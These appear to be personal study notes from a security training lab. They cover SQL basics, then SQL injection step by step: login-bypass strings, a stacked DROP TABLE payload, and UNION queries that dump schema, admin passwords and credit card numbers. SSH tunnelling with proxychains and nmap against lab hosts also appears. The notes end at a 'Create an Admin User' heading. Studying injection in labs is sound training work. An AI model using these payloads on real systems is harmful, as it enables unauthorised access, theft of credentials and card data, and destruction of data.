**SQL**

show databases;

show tables;

select \* from Tires;

**General syntax**

#Select list,of,columns from database.table

select tireid,name,size,cost from session.Tires;

select \* from session.car;

**Combine two selects**

select from \* from session.Tires union select \* from session.car;

ERROR: different # of columns

select \* from session.Tires union select carid,name,type,cost from session.car;

CORRECT: select same number of columns

select torrid,name,size,cost,0,0 from session.Tires union select \* from session.car;

CORRECT: placeholder integer value for missing columns

**Description**

describe Tires;

**SQL Injection**

(for by-passing authentication in login screens)

TOM’ OR 1=’1 in the name and passfields

Truth statement: tom ‘ OR 1=’1

Server-side query executed would appear like this

Select id FROM users WHERE name=’tom’ OR 1=’1’ AND pass =’tom’ or 1=’1’

username**:** tom’ OR 1=’1

password**:** tom’ OR 1=’1

F12 -> Network -> Request > RAW > Insert the encoding into the raw followed by **“?”**

POST

GET

10.50.37.158/login.php?<encoding>

View Source

**Stacking Statements**

Johnny'; DROP TABLE Customers; --

**POST Method** (type these steps into the input field)

Step 1)cycle through all options

ford’ or 1=’1

dodge’ or 1=’1

honda’ or 1=’1

**audi’ or 1=’1**

Step 2) find # of columns in the original select statement so that u can match with UNION

Audi’ union select 1,2,3,4,@@version; #

**Audi’ union select 1,2,3,4,5; #**

**2 is missing**

@@version to get version number

Step 3)

**Audi’ union select id,2,3,4,5 from session.user; #**

**Audi’ union select table\_schema,2,table\_name,column\_name,5 from information\_schema.columns; #**

<database name>.<table name>

table\_schema = database names

table\_name = table names

column\_name = column names

**this will give user generated databases structure**

RIGHT CLICK + DUPLICATE THIS TAB

Step 4) pull user table (id, name, pass)

**Audi’ union select id,2,name,pass,5 from session.user; #**

**GET Method** **(URL field)**

Step 1) cycle through and get the vulnerability

10.50.37.158/uniondemo.php?...

?Selection=1 or 1=1

**?Selection=2 or 1=1**

?Selection=3 or 1=1

Step 2) find the number of columns

**?Selection=2 union select 1,2,3**

**?Selection=2 union select 1,2,3 from information\_schema.columns**

Step 3)

**?Selection=2 union select table\_schema,column\_name,table\_name from information\_schema.columns**

Step 4)

**?Selection=2 union select name,type,cost from session.car**

**PE**

1. lin-ops$ ssh student@10.50.35.200 -L 60601:localhost:22
2. ssh student@localhost -p 60601 -D 9050 -NT
3. proxychains nmap 10.100.28.48 -Pn --script http-enum -p 80
4. firefox

## **DNLA Category**

1. <http://10.100.28.48>
2. Categories
3. [http://10.100.28.48](http://10.100.28.48/cases/productsCategory.php?category=1)
4. [?category=1](http://10.100.28.48/cases/productsCategory.php?category=1) or 1=1

h8h6WYCVhtAEHNlcTIEN

## **Tables**

1. ?category=1 or 1=1
2. ?category=1 union select table\_schema,column\_name,table\_name from information\_schema.columns

## **SQL version**

1. ?category=1 union select 0,0,@@version

## **Admin credentials**

1. ?category=1 union select username,password,id from sqlinjection.members

eRDFIO64a5nJMmsSVjMV

## **Credit card**

1. ?category=1 union select creditcard\_number,0,0 from sqlinjection.payments

cnFeILykIklBNDTR954L

## **Id search**

?category=1 union select mime,0,id from sqlinjection.share4

## **Create an Admin User**